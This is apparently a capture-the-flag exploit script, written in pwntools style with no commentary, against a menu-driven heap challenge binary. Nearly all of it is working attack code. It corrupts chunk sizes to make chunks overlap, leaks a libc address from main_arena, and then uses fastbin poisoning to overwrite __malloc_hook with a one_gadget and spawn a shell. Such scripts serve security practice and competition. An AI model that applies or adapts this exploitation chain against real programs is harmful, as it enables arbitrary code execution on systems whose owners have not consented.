1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
|
def Add(size,content): sla('Command: ',str(1)) sla('Size: ',str(size))
def Edit(index,size,content): sla('Command: ',str(2)) sla('Index: ',str(index)) sla('Size: ',str(size)) sla('Content: ',content)
def Del(index): sla('Command: ',str(3)) sla('Index: ',str(index))
def Show(index): sla('Command: ',str(4)) sla('Index: ',str(index))
Add(0x10,b'aaaa') Add(0x10,b'aaaa') Add(0x10,b'aaaa')
Add(0x10,b'aaaa') Add(0x80,b'aaaa') Add(0x10,b'aaaa')
Del(1) Del(2)
thunk1_prev_size = 0 thunk1_size = 0x21
thunk2_prev_size = 0 thunk2_size = 0x21
payload = junk(0x10)
payload += p(thunk1_prev_size) + p(thunk1_size) payload += junk(0x10)
payload += p(thunk2_prev_size) + p(thunk2_size) payload += p8(0x80) Edit(0,len(payload),payload)
thunk4_prev_size = 0 thunk4_size = 0x21
payload = junk(0x10) payload += p(thunk4_prev_size) + p(thunk4_size) Edit(3,len(payload),payload)
Add(0x10,b'aaaa') Add(0x10,b'aaaa')
thunk4_size = 0x91 payload = junk(0x10) payload += p(thunk4_prev_size) + p(thunk4_size) Edit(3,len(payload),payload)
Del(4)
Show(2) ru('Content: \n') main_area = u(r_x64()) - 88 __malloc_hook = main_area - 0x10
libc = LibcSearcher('__malloc_hook',__malloc_hook) libcbase = __malloc_hook - libc.dump('__malloc_hook')
lgs(hex(main_area),'main_area') lgs(hex(__malloc_hook),'__malloc_hook') lgs(hex(libcbase),'libcbase')
one_gadgets = [i+libcbase for i in [0x4526a, 0xf02a4, 0xf1147] ]
Add(0x60,b'aaaa') Del(4)
fake_thunk = __malloc_hook - 0x23 thunk4_size = 0x71 payload = junk(0x10) payload += p(thunk4_prev_size) + p(thunk4_size) payload += p(fake_thunk) Edit(3,len(payload),payload)
Add(0x60,b'aaaa') Add(0x60,b'aaaa')
num = __malloc_hook - fake_thunk - 0x10 payload = junk(num) payload += p(one_gadgets[0])
Edit(6,len(payload),payload)
Add(0x10,b'aaaa')
inter()
|